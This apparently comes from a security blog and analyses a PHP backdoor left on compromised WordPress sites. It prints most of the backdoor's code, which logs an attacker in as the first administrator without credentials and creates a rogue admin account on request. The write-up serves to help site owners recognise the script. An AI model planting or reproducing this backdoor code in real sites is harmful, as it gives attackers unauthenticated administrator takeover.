WordPress Backdoor Deep Dive

Ever wondered how hackers regain access to WordPress sites? Here’s a breakdown of a typical malware script often left behind as a backdoor. These scripts allow attackers admin access to a site whenever they like! Let’s explore one such example.

Frequently this file is left in the root of the website’s server and is called tags.php but could be located anywhere and called anything, it would work just the same. So, let’s get into it …

the setup

The first thing the script does is define a couple of constants …

define('WP_USE_THEMES', false);
define('WP_DIRECTORY', load_wordpress_core());

Straight away the first constant defined here WP_USE_THEMES is used to prevent WordPress from loading a theme. This is probably done in case any of the plugins in the WordPress installation try to load a theme.

The second constant defined, WP_DIRECTORY, is not a WordPress core constant and is set to the result of their custom load_wordpress_core() function.

Finding WordPress

This function is used to try to locate where WordPress is installed on the server.

function load_wordpress_core() {
    $current_directory = dirname(__FILE__);
    while ($current_directory !== '/' && !file_exists($current_directory . '/wp-load.php')) {
        $current_directory = dirname($current_directory);
    }
    return $current_directory ? : $_SERVER['DOCUMENT_ROOT'];
}

This function starts from the directory where the script is located and then traverses up the web server’s directory structure until it finds a file called wp-load.php which not only highlights where WordPress is installed but also is the file that’s included in a script to load WordPress core without a theme.

We assume that the script goes to this trouble to make sure a theme isn’t loaded so that no extra HTML is sent back with the script’s results.

If the wp-load.php file cannot be found then the root directory of the web server is returned as specified by the server itself.

The directory returned is then saved in the WP_DIRECTORY constant.

Loading Core Functionality

Now that wp-load.php has been found, the script uses it to load WordPress …

require_once WP_DIRECTORY . '/wp-load.php';

Creating a Custom Class

Next the script creates a custom class and uses it to create an object from it …

class November {
    public function __construct() {
        $this->action = $_REQUEST['action'];
    }
}

$nov = new November();
$nov->doAction();

We’re not sure the relevance to the name November, perhaps it was this hacker’s favourite month? Who knows. Anyway, once the object $nov has been created, it automatically sets up a property called action which grabs the value of the corresponding element in a GET request’s query string, POST variable or cookie. In essence, if the script was called with the request example.com/tags.php?action=XXX or if it was called from a form with a form element called action and value XXX or if a cookie called action with value XXX was sent then in either case the value of the action property would be set to XXX.

The value of this action property is then used to decide what the script will actually do when the doAction() method is called.

Creating Random Passwords

The November class has another method which generates random strings which is used to create a password.

private function generateRandomString($length = 8) {
    $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

In short, the method above will output a string of characters that is 8 characters long (if $length isn’t specified when calling it). It chooses the characters at random from the list of uppercase, lowercase characters and numbers.

Impersonating an Admin

So now to what the doAction() method will do if it gets the command login set in action.

$user = get_users(["role" => "administrator"])[0];
$user_id = $user->data->ID;
wp_set_auth_cookie($user_id);
wp_set_current_user($user_id);
die("Probably $user_id?");

Since wp-load.php has been loaded, all the WordPress core functions and the WordPress database is available to the script. So it can use the core get_users() script to get the first user with administrator privileges that it can find in the wp-users database.

Next it gets the unique identification number of the retrieved user. Once it has this, it can use the core wp_set_auth_cookie() and wp_set_current_user() (this one may actually be superfluous) functions to tell WordPress that this user has signed. This in turn will instruct the web server to send login cookies back and just like that the hacker is signed into the target website as an administrator!

No username needed. No password needed. It’s game over.

Finally the script terminates itself and sends back the user ID of the signed in administrator for confirmation.

Creating a Rogue Admin Account

If that wasn’t enough, the script also has the ability to create a new administrator account if it receives the command create set in action.

$username = 'admin' . rand(1000, 9999);
$password = $this->generateRandomString(8);
$email = $username . '@admin.com';
if (!username_exists($username) && !email_exists($email)) {
    $user_id = wp_create_user($username, $password, $email);
    if (is_wp_error($user_id)) {
        die('Error: ' . $user_id->get_error_message());
    } else {
        $user = new WP_User($user_id);
        $user->set_role('administrator');
        die("Username: $username, Email: $email, Password: $password");
    }
} else {
    die('User already exists');
}

First it chooses a username that starts with “admin” and ends with a four digit random number. It also gets a random 8 character password using the generateRandomString() method defined before. And then makes up a fictitious email address based on the chosen username “@admin.com”.

With these details chosen it checks to see if a user with these details exists. If it does it terminates saying so. If it doesn’t then it gets WordPress to create the user using the core wp_create_user() function.

If that fails then it terminates with the error message. Otherwise, it loads the new user and sets administrator permissions for it using the WP_User::set_role method.

Mission accomplished the script terminates with a message as to what the new user’s username, email and password is and once again, game over.

Final Thoughts

If none of these actions are presented then the script helpfully lets the hacker know …

$this->message['message'] = 'Nothing to do??';
echo json_encode($this->message);

… by rather un-necessarily creating a property called message (which isn’t used anywhere else) which says “Nothing to do??”. This is then encoded with and sent back.

So, if you see a script like this on your website then your site is extremely vulnerable and needs immediate attention!

Take care out there!

Comments

Leave a Reply

Your email address will not be published. Required fields are marked *